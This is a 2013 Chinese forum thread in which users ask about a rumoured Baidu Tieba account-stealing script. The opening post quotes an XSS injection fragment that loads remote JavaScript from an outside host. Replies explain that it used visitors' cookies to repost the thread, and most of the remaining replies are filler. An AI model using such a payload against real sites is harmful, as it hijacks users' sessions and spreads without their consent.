听说贴吧用这个代码可以盗号

春风亦不如你 · 发表于 2013-5-21 00:37:22

就是这个。。a:$.getScript('//xss.retaker.me/1.js'),a:"请问这个脚本怎么用啊？

魔神の旭 · 发表于 2013-5-21 00:41:47

原脚本未利用Cookie进行盗号且源文件已被删除

西红柿吵番茄＂ · 发表于 2013-5-21 00:42:07

这个不是盗号只是控制你的号在你所在的所有贴吧转发这个帖子而已。

亲~

春风亦不如你 · 发表于 2013-5-21 00:48:54

西红柿吵番茄＂发表于 2013-5-21 00:42
这个不是盗号只是控制你的号在你所在的所有贴吧转发这个帖子而已。

亲~

我还以为是盗号了吓了我一跳！

龙 · 发表于 2013-5-21 08:04:43

这个漏洞就是点进帖子之后执行如标题所示的脚本而已
脚本的内容是用你的cookie在几个贴吧发帖子
现在估计早就补上了

huadie010 · 发表于 2013-5-21 08:14:50

已经修复了吧

ANATKH · 发表于 2013-5-21 08:34:19

已经修复了吧

鈤丶後再說 · 发表于 2013-5-21 08:37:31

布点就是了

鈤丶後再說 · 发表于 2013-5-21 08:37:52

布点就是了

米拉不哭 · 发表于 2013-5-21 11:37:00

哈哈哈哈哈哈哈哈

关谷君 · 发表于 2013-5-21 11:42:15

372292744 · 发表于 2013-5-22 05:41:08

372292744 · 发表于 2013-5-22 06:47:36

洗洗睡了大婶们

爻焚焚爻 · 发表于 2013-5-22 07:26:38

喜闻乐见

419259907 · 发表于 2013-5-22 07:59:10

單單 · 发表于 2013-5-22 09:03:25

不是吧

ANATKH · 发表于 2013-5-22 09:24:48

……

G2012 · 发表于 2013-5-22 09:25:42

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:25:50

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:25:59

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:26:13

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:26:28

顶一下 ~顶一下 ~

喝我姨妈吗 · 发表于 2013-5-22 09:26:31

G2012 · 发表于 2013-5-22 09:26:36

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:26:44

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:26:54

顶一下 ~顶一下 ~

G2012 · 发表于 2013-5-22 09:27:08

顶一下 ~顶一下 ~

trtp2013 · 发表于 2013-5-22 10:27:14

看不懂这个玩意。

米菲 · 发表于 2013-5-22 21:04:17

好像很厉害的样子

有你才完整 · 发表于 2013-5-22 21:38:19

账号		自动登录	找回密码
密码			立即注册